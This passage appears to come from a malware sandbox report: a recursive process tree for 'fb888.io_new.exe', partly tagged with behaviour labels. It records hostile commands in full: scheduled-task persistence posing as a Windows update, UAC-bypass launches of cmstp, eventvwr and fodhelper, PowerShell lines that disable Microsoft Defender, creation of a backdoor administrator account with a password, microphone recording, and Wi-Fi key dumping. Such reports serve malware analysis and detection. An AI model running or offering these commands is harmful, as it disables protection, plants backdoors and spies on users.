        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        19⤵
        
        PID:12500
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        20⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:14644
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\c13b4845-623a-495f-880d-ba4e4923c409.inf
        20⤵
        
        PID:14656
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        20⤵
        
        PID:14756
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        21⤵
        
        PID:2524
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        20⤵
        
        PID:14660
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        21⤵
        
        PID:8920
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        22⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:15284
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\ac4e8538-f299-413b-8a46-bd48c61e6e53.inf
        22⤵
        
        PID:14612
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        22⤵
        
        PID:15408
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        23⤵
        
        PID:15400
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        22⤵
        
        PID:15316
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        23⤵
        
        PID:8808
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        24⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:16584
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\a083de2a-e381-41e2-8e8f-8c14e1ef3a96.inf
        24⤵
        
        PID:16760
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        24⤵
        
        PID:16920
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        25⤵
        
        PID:16996
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        24⤵
        
        PID:17036
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        25⤵
        
        PID:17100
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        26⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:16056
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\f2db5712-f41b-49ba-84e2-1893f1b74168.inf
        26⤵
        
        PID:6452
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        26⤵
        
        PID:5324
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        27⤵
        
        PID:8852
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        26⤵
        
        PID:17756
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        27⤵
        
        PID:6452
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        28⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4580
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\82f1f97b-0cbf-48f2-b10c-868da12fb841.inf
        28⤵
        
        PID:9640
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        28⤵
        
        PID:17992
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        29⤵
        
        PID:8940
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        28⤵
        
        PID:17540
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        29⤵
        
        PID:9280
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        30⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:18492
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\de86489b-9d1b-4b16-bc64-8e6a1c4bdc7b.inf
        30⤵
        
        PID:8528
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        30⤵
        
        PID:19360
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        31⤵
        
        PID:16692
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        30⤵
        
        PID:12280
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        31⤵
        
        PID:19372
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        32⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:12576
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\15f59e99-a08c-49ad-82aa-d67cc64eebab.inf
        32⤵
        
        PID:18488
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        32⤵
        
        PID:14528
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        33⤵
        
        PID:6456
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        32⤵
        
        PID:19380
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        33⤵
        
        PID:20276
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        34⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:9824
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\6d413f96-fa79-477b-baa0-1fdeea1c66fa.inf
        34⤵
        
        PID:19828
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        34⤵
        
        PID:17664
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        35⤵
        
        PID:19972
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        34⤵
        
        PID:3328
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        35⤵
        
        PID:20344
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        36⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:12428
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\225fcc28-5de9-4fbf-91b5-f3fa393f2dd1.inf
        36⤵
        
        PID:1312
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        36⤵
        
        PID:6852
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        37⤵
        
        PID:20676
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        36⤵
        
        PID:20552
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        37⤵
        
        PID:14508
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        38⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:20992
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\78ad9467-bb1c-41aa-9ba2-38d24c31e7bc.inf
        38⤵
        
        PID:13128
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        38⤵
        
        PID:12632
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        39⤵
        
        PID:21404
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        38⤵
        
        PID:20948
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        39⤵
        
        PID:22264
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        38⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:11344
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        38⤵
        Creates a new local user account
        
        PID:22244
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        36⤵
        Disables one or more Microsoft Defender components
        
        PID:20560
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        36⤵
        Creates a new local user account
        
        PID:16768
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        37⤵
        Creates a new local user account
        
        PID:12428
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        36⤵
        
        PID:5060
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        37⤵
        
        PID:20640
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        36⤵
        
        PID:21892
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        34⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:18512
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        34⤵
        Creates a new local user account
        
        PID:19796
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        35⤵
        
        PID:16224
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        34⤵
        
        PID:14576
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        35⤵
        
        PID:21184
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        34⤵
        
        PID:15784
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        32⤵
        Disables one or more Microsoft Defender components
        
        PID:18540
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        32⤵
        
        PID:19756
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        33⤵
        Creates a new local user account
        
        PID:20372
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        32⤵
        
        PID:20084
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        33⤵
        
        PID:17848
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        32⤵
        
        PID:10196
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281071511671334.wav')"
        32⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:18056
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        32⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:15184
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        30⤵
        Disables one or more Microsoft Defender components
        
        PID:16332
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        30⤵
        
        PID:13624
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        31⤵
        
        PID:5868
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        30⤵
        
        PID:18832
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        31⤵
        
        PID:15496
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        30⤵
        
        PID:14140
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281071418229005.wav')"
        30⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:21384
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        30⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:9224
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        28⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:1816
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        28⤵
        Creates a new local user account
        
        PID:18588
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        29⤵
        Creates a new local user account
        
        PID:19404
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        28⤵
        
        PID:19424
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        29⤵
        
        PID:11468
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        28⤵
        
        PID:19084
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281071300923546.wav')"
        28⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7132
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        28⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:20136
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        26⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:17764
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        26⤵
        Creates a new local user account
        
        PID:18328
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        27⤵
        Creates a new local user account
        
        PID:5164
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        26⤵
        
        PID:9668
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        27⤵
        
        PID:9448
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        26⤵
        
        PID:2616
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281071223209197.wav')"
        26⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:13364
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        26⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:13452
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        24⤵
        Disables one or more Microsoft Defender components
        
        PID:17044
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        24⤵
        Creates a new local user account
        
        PID:17396
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        25⤵
        Creates a new local user account
        
        PID:15056
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        24⤵
        
        PID:15436
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        25⤵
        
        PID:16568
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        24⤵
        
        PID:16780
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281071139295052.wav')"
        24⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:17748
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        24⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:4636
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        22⤵
        Disables one or more Microsoft Defender components
        
        PID:16144
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        22⤵
        Creates a new local user account
        
        PID:9040
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        23⤵
        
        PID:7520
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        22⤵
        
        PID:14556
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        23⤵
        
        PID:16744
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        22⤵
        
        PID:17316
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281071071935368.wav')"
        22⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9448
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        22⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:14688
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        20⤵
        Disables one or more Microsoft Defender components
        
        PID:14572
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        20⤵
        Creates a new local user account
        
        PID:16288
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        21⤵
        Creates a new local user account
        
        PID:9396
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        20⤵
        
        PID:13824
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        21⤵
        
        PID:13820
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        20⤵
        
        PID:12400
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281070958676228.wav')"
        20⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:17840
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        20⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:18096
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        18⤵
        Disables one or more Microsoft Defender components
        
        PID:14132
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        18⤵
        Creates a new local user account
        
        PID:12596
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        19⤵
        
        PID:14832
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        18⤵
        
        PID:15152
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        19⤵
        
        PID:13520
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        18⤵
        
        PID:15532
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281070879467918.wav')"
        18⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:16312
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        18⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:16020
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        16⤵
        Disables one or more Microsoft Defender components
        
        PID:13072
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        16⤵
        
        PID:10908
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        17⤵
        
        PID:7912
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        16⤵
        
        PID:12768
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        17⤵
        
        PID:14252
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        16⤵
        
        PID:14676
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281070796196798.wav')"
        16⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:15184
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        16⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:14496
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        14⤵
        Disables one or more Microsoft Defender components
        
        PID:3332
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        14⤵
        Creates a new local user account
        
        PID:11372
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        15⤵
        Creates a new local user account
        
        PID:9024
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        14⤵
        
        PID:11120
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        15⤵
        
        PID:12900
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        14⤵
        
        PID:13332
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281070688933385.wav')"
        14⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:15004
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        14⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:14220
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
